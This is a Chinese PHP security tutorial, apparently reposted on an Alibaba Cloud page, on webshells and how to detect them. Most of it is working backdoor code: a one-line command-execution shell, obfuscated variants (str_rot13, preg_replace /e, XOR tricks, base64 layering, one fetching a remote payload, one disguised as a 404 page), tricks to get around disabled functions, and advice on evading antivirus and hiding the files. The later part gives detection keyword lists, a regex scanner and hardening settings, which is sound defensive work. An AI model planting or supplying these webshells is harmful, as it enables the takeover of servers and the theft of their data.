詳解PHP安全之webshell和後門檢測樣本

來源:互聯網
上載者:User
基於PHP的應用面臨著各種各樣的攻擊:

  • XSS:對PHP的Web應用而言,跨站指令碼是一個易受攻擊的點。攻擊者可以利用它盜取使用者資訊。你可以配置Apache,或是寫更安全的PHP代碼(驗證所有使用者輸入)來防範XSS攻擊

  • SQL注入:這是PHP應用中,資料庫層的易受攻擊點。防範方式同上。常用的方法是,使用mysql_real_escape_string()對參數進行轉義,而後進行SQL查詢。

  • 檔案上傳:它可以讓訪問者在伺服器上放置(即上傳)檔案。這會造成例如,刪除伺服器檔案、資料庫,擷取使用者資訊等一系列問題。你可以使用PHP來禁止檔案上傳,或編寫更安全的代碼(如檢驗使用者輸入,只允許上傳png、gif這些圖片格式)

  • 包含本地與遠程檔案:攻擊者可以使遠程伺服器開啟檔案,運行任何PHP代碼,然後上傳或刪除檔案,安裝後門。可以通過取消遠程檔案執行的設定來防範

  • eval/assert:這個函數可以使一段字串如同PHP代碼一樣執行。它通常被攻擊者用於在伺服器上隱藏代碼和工具。通過配置PHP,取消eval等函數調用來實現

  • Sea-surt Attack(Cross-site request forgery,CSRF。跨站請求偽造):這種攻擊會使終端使用者在當前帳號下執行非指定行為。這會危害終端使用者的資料與操作安全。如果目標終端使用者的帳號用於管理員權限,整個Web應用都會收到威脅。

這裡介紹上述加粗的幾種攻擊的方法

一、各種webshell

隨著業務量的增大,越來越多的駭客來攻擊掃描,網站安全性日益重要,一不留神就被駭客控制了伺服器,最常見的方式就是通過POST請求來上傳木馬檔案,從而達到可以執行任意命令,如果被控制就大事不妙了

所以還是要正視伺服器的安全

最流行的一種後門叫做一句話木馬,其形式如下所示:

<?phpif(isset($_REQUEST['cmd'])){    $cmd = ($_REQUEST["cmd"]);    system($cmd);    echo "</pre>$cmd<pre>";    die;}?>

這種容易被安全軟體檢測出來。為了增強隱蔽性,出現了各種一句話木馬的變形,通過各種函數來偽裝,這裡不得不吐槽PHP弱類型對於安全來說是致命的

a、使用str_replace函數

<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>//說明:請求參數  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))最終執行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>

b、使用str_rot13函數

<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?>//說明:首先,將eval函數用str_rot13('riny')隱藏。然後,利用 e 修飾符,在preg_replace完成字串替換後,使得引擎將結果字串作為php代碼使用eval方式進行評估並將傳回值作為最終參與替換的字串。

c、使用include函數

<?php $filename=$_GET['code'];include ($filename); ?>//由於include方法可以直接編譯任何格式的檔案為php格式運行,因此可以上傳一個txt格式的php檔案,將真正的後門寫在文本當中。

d、使用pack函數

<?php if(empty($_SESSION['api']))    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);?>

e、使用session

<?phpsession_start();$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

f、隱藏在html頁面

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>

g、使用assert函數

<?php assert($_POST[sb]);?>

或者

<?php$item['wind'] = 'assert';$array[] = $item;$array[0]['wind']($_POST['iixosmse']);

h、使用copy函數複製檔案

<?php$reg="c"."o"."p"."y";$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

二、代碼混淆

<?php  @$_++; // $_ = 1  $=("#"^"|"); // $ = _  $.=("."^"~"); // _P  $.=("/"^"`"); // _PO  $.=("|"^"/"); // _POS  $.=("{"^"/"); // _POST  ${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  ?>

或者

<?php      $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";      $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";      $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");      $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";      $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";      $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");      $jgfi = $ftdf("l","","lclrlelaltel_functlilon");      $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  ?>

可以使用weevely工具來產生,代碼偽裝避開各種主流的殺毒軟體

PHP後門產生工具weevely

weevely是一款針對PHP的webshell的自由軟體,可用於類比一個類似於telnet的串連shell,weevely通常用於web程式的漏洞利用,隱藏後門或者使用類似telnet的方式來代替web 頁面式的管理,weevely產生的伺服器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟體和IDS,上傳伺服器端代碼後通常可以通過weevely直接運行。

weevely所產生的PHP後門所使用的方法是現在比較主流的base64加密結合字串變形技術,後門中所使用的函數均是常用的字串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使後門檔案繞過後門尋找工具的檢查。使用暗組的Web後門查殺工具進行掃描,結果顯示該檔案無任何威脅。

更常用的混淆視聽方法:(這種是伺服器層面的混淆)

  • 修改檔案時間

  • 改名融入上傳後所在檔案夾,讓人無法直觀看出檔案異常

  • 檔案大小的偽裝處理(至少看起大小像個正常指令碼)

  • 選好藏身路徑並盡量少的訪問

  • 畸形目錄%20

三、如果繞過設定檔

一般的伺服器管理員會把 system、exec等危險函數禁用的,那麼如何繞過呢?

1、使用反射

<?php$func = new ReflectionFunction("system");echo $func->invokeArgs(array("$_GET[c]"));?>

2、使用callback

php提供的另外一種可間接調用函數的方法是callback. 這裡使用了ob_start.

<?php$cb= 'system';ob_start($cb);echo $_GET[c];ob_end_flush();?>

php中支援callback的函數還有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人員應該怎麼做

1、如何尋找

直觀尋找方式也有很多

  • 通過檔案名稱/修改時間/大小,檔案備份比對發現異常(SVN/Git對比,查看檔案是否被修改)

  • 通過WEBSHELL後門掃描指令碼發現,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通過access.log訪問日誌分析

下面是360 zhujiweishi ,在linux伺服器上非常簡單好用

通過常見的關鍵詞如(可以使用find 和 grep 等命令結合起來搜尋代碼中是否包含以下檔案)

  • 系統命令執行: system, passthru, shell_exec, exec, popen, proc_open

  • 代碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 檔案包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通過簡單的python指令碼


#!/usr/bin/env python# encoding: utf-8 import os,sysimport reimport hashlibimport time rulelist = [    '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',    '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',    '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',    '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',    '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',    '(\$(\w+)\s*\(\s.chr\(\d+\)\))',    '(\$(\w+)\s*\$\{(.*)\})',    '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',    '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',    '(\$\_\=(.*)\$\_)',    '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',    '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',    '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',    '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',    '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',    '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',    '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',    '(eval\s*\(\s*\(\s*\$\$(\w+))',    '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',    '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'    ] def scan(path):    print('           可疑檔案         ')    print('*'*30)    for root,dirs,files in os.walk(path):        for filespath in files:            if os.path.getsize(os.path.join(root,filespath))<1024000:                file= open(os.path.join(root,filespath))                filestr = file.read()                file.close()                for rule in rulelist:                    result = re.compile(rule).findall(filestr)                    if result:                        print '檔案:'+os.path.join(root,filespath )                        print '惡意代碼:'+str(result[0][0:200])                        print ('最後修改時間:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))                        print '\n\n'                        breakdef md5sum(md5_file):    m = hashlib.md5()    fp = open(md5_file)    m.update(fp.read())    return m.hexdigest()    fp.close() if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':    if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':        pass    else:        print('*'*40)        print "\033[31m sshd被修改,疑似留有後門\033[m"        print('*'*40)        time.sleep(5)if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':    if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':        pass    else:        print('*'*40)        print "\033[31m sshd被修改,疑似留有後門\033[m"        print('*'*40)        time.sleep(5)if name=='main':     if len(sys.argv)!=2:        print '參數錯誤'        print "\t按惡意代碼尋找:"+sys.argv[0]+'目錄名'    if os.path.lexists(sys.argv[1]) == False:        print "目錄不存在"        exit()    print ('\n\n開始尋找:'+sys.argv[1])    if len(sys.argv) ==2:        scan(sys.argv[1])    else:        exit()

2、如何防範

php.ini 設定

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 設定“safe_mode”為“on”

  • 禁止“open_basedir” 可以禁止指定目錄之外的檔案操作

  • expose_php設為off 這樣php不會在http檔案頭中泄露資訊

  • 設定“allow_url_fopen”為“off” 可禁止遠程檔案功能

  • log_errors”設為“on” 錯誤記錄檔開啟

php編碼方面

  • 所有使用者提交的資訊 post get 或是其他形式提交的資料 都要單獨寫個過濾函數處理一遍,養成習慣(intval,strip_tags,mysql_real_escape_string)

  • 經常檢查有沒有一句話木馬 eval($_POST[ 全站搜尋php代碼有沒有這樣的原始碼

  • 檔案要命名規範 至少讓自己可以一目瞭然,哪些php檔案名稱字有問題

  • 如用開原始碼,有補丁出來的話,儘快打上補丁

  • 如果攻擊者拿到了伺服器的最高許可權,有可能通過修改伺服器的設定檔php.ini來達到他們隱藏後門的目的,前幾年比較流行。原理如下:php.ini 裡面的這兩個配置項:auto_prepend_file ,auto_append_file 可以讓php解析前,自己加點東西進去 Automatically add files before or after any PHP document,如果被配置了eval()函數的後門 那就很陰險了,php檔案代碼裡面查不出,只會在php解析前包含eval()函數進來 並且因為是全域的 所以所有php頁面都是後門!所以要先確認auto_prepend_file ,auto_append_file沒被配置成其他東西,才進行第3點的原始碼檢查。

伺服器配置

配置的時候盡量使用最小許可權,不要寫入或者執行的目錄不能給相應的許可權

nginx或者apache配置的時候,不能訪問的目錄一定要配置為deny

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.